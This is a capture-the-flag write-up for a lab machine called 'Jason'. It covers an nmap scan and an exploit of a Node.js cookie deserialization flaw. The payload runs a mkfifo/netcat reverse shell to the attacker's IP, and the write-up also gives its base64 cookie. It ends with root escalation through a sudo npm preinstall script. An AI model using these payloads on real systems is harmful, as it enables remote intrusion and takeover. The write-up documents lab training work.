Port17 / Technical archives

Field notes

CTF : Jason

Informations

  • IP: 10.10.104.241
  • MYIP: 10.9.85.5

First enumeration

Basics

  • NMAP
console
$ sudo nmap -p22,80 -A 10.10.104.241
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-02 15:32 CEST
Nmap scan report for 10.10.104.241
Host is up (0.041s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5b:2d:9d:60:a7:45:de:7a:99:20:3e:42:94:ce:19:3c (RSA)
|   256 bf:32:78:01:83:af:78:5e:e7:fe:9c:83:4a:7d:aa:6b (ECDSA)
|_  256 12:ab:13:80:e5:ad:73:07:c8:48:d5:ca:7c:7d:e0:af (ED25519)
80/tcp open  http
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Sat, 02 Jul 2022 13:32:47 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|_    background-posi
|_http-title: Horror LLC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=7/2%Time=62C048FE%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,E4B,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html\r\nDate
SF::\x20Sat,\x2002\x20Jul\x202022\x2013:32:47\x20GMT\r\nConnection:\x20clo
SF:se\r\n\r\n<html><head>\n<title>Horror\x20LLC</title>\n<style>\n\x20\x20
SF:body\x20{\n\x20\x20\x20\x20background:\x20linear-gradient\(253deg,\x20#
SF:4a040d,\x20#3b0b54,\x20#3a343b\);\n\x20\x20\x20\x20background-size:\x20
SF:300%\x20300%;\n\x20\x20\x20\x20-webkit-animation:\x20Background\x2010s\
SF:x20ease\x20infinite;\n\x20\x20\x20\x20-moz-animation:\x20Background\x20
SF:10s\x20ease\x20infinite;\n\x20\x20\x20\x20animation:\x20Background\x201
SF:0s\x20ease\x20infinite;\n\x20\x20}\n\x20\x20\n\x20\x20@-webkit-keyframe
SF:s\x20Background\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x20
SF:background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x205
SF:0%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x20100%\x2050%\n\
SF:x20\x20\x20\x20}\n\x20\x20\x20\x20100%\x20{\n\x20\x20\x20\x20\x20\x20ba
SF:ckground-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20}\n\x20\x20
SF:\n\x20\x20@-moz-keyframes\x20Background\x20{\n\x20\x20\x20\x200%\x20{\n
SF:\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x20\x20
SF:\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x20\x20background-pos
SF:ition:\x20100%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x20100%\x20{\n\x
SF:20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x20\x20\x
SF:20}\n\x20\x20}\n\x20\x20\n\x20\x20@keyframes\x20Background\x20{\n\x20\x
SF:20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x
SF:2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x2
SF:0\x20background-posi")%r(HTTPOptions,E4B,"HTTP/1\.1\x20200\x20OK\r\nCon
SF:tent-Type:\x20text/html\r\nDate:\x20Sat,\x2002\x20Jul\x202022\x2013:32:
SF:47\x20GMT\r\nConnection:\x20close\r\n\r\n<html><head>\n<title>Horror\x2
SF:0LLC</title>\n<style>\n\x20\x20body\x20{\n\x20\x20\x20\x20background:\x
SF:20linear-gradient\(253deg,\x20#4a040d,\x20#3b0b54,\x20#3a343b\);\n\x20\
SF:x20\x20\x20background-size:\x20300%\x20300%;\n\x20\x20\x20\x20-webkit-a
SF:nimation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20\x20\x20-m
SF:oz-animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20\x20\x
SF:20animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20}\n\x20
SF:\x20\n\x20\x20@-webkit-keyframes\x20Background\x20{\n\x20\x20\x20\x200%
SF:\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\
SF:x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x20\x20backgro
SF:und-position:\x20100%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x20100%\x
SF:20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x2
SF:0\x20\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@-moz-keyframes\x20Background\
SF:x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x20background-posit
SF:ion:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x2
SF:0\x20\x20\x20\x20background-position:\x20100%\x2050%\n\x20\x20\x20\x20}
SF:\n\x20\x20\x20\x20100%\x20{\n\x20\x20\x20\x20\x20\x20background-positio
SF:n:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@keyfr
SF:ames\x20Background\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\
SF:x20background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x
SF:2050%\x20{\n\x20\x20\x20\x20\x20\x20background-posi");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   61.97 ms 10.9.0.1
2   62.35 ms 10.10.104.241

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.67 seconds

The web page served on port 80 seems to be done with nodejs.

js
    <script>
    document.getElementById("signup").addEventListener("click", function() {
	var date = new Date();
    	date.setTime(date.getTime()+(-1*24*60*60*1000));
    	var expires = "; expires="+date.toGMTString();
    	document.cookie = "session=foobar"+expires+"; path=/";
    	const Http = new XMLHttpRequest();
        console.log(location);
        const url=window.location.href+"?email="+document.getElementById("fname").value;
        Http.open("POST", url);
        Http.send();
	setTimeout(function() {
		window.location.reload();
	}, 500);
    }); 
    </script>

Exploit

And when we use the form with a fake mail address we can found it in a cookie :

Cookie: session=eyJlbWFpbCI6InRvdG9AdG90by5jb20ifQ==

It's base64 encoded but decoded it's like :

Cookie: session={"email":"toto@toto.com"}

Some versions of Node.JS seem to be vulnerable to a json deserialization exploit.

I finaly found a site which explains how to exploit this vuln

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

So I crafted this payload :

{"email":"_$$ND_FUNC$$_function(){\n require('child_process').execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.85.5 6666 >/tmp/f\", function puts(error, stdout, stderr) {});\n}()"}

And after encoding this in base64 I got this cookie :

Cookie: session=eyJlbWFpbCI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe1xuICByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoXCJybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC45Ljg1LjUgNjY2NiA+L3RtcC9mXCIsIGZ1bmN0aW9uIHB1dHMoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKSB7fSk7XG59KCkifQ==

I launched pwncat to listen on port 6666.

Then I used burp to send it to the server.

And we got a shell :)

Privilege escalation

Enumeration for privesc

Here we can take the user flag :

cat /home/dylan/user.txt

Then I tested sudo perms :

console
$ sudo -l
Matching Defaults entries for dylan on jason:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dylan may run the following commands on jason:
    (ALL) NOPASSWD: /usr/bin/npm *

dylan can use npm as root...

Exploit

A little search on GTFOBins : https://gtfobins.github.io/gtfobins/npm/#sudo

console
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo /usr/bin/npm -C $TF --unsafe-perm i

And we can grab the root flag !

cat /root/root.txt

\o/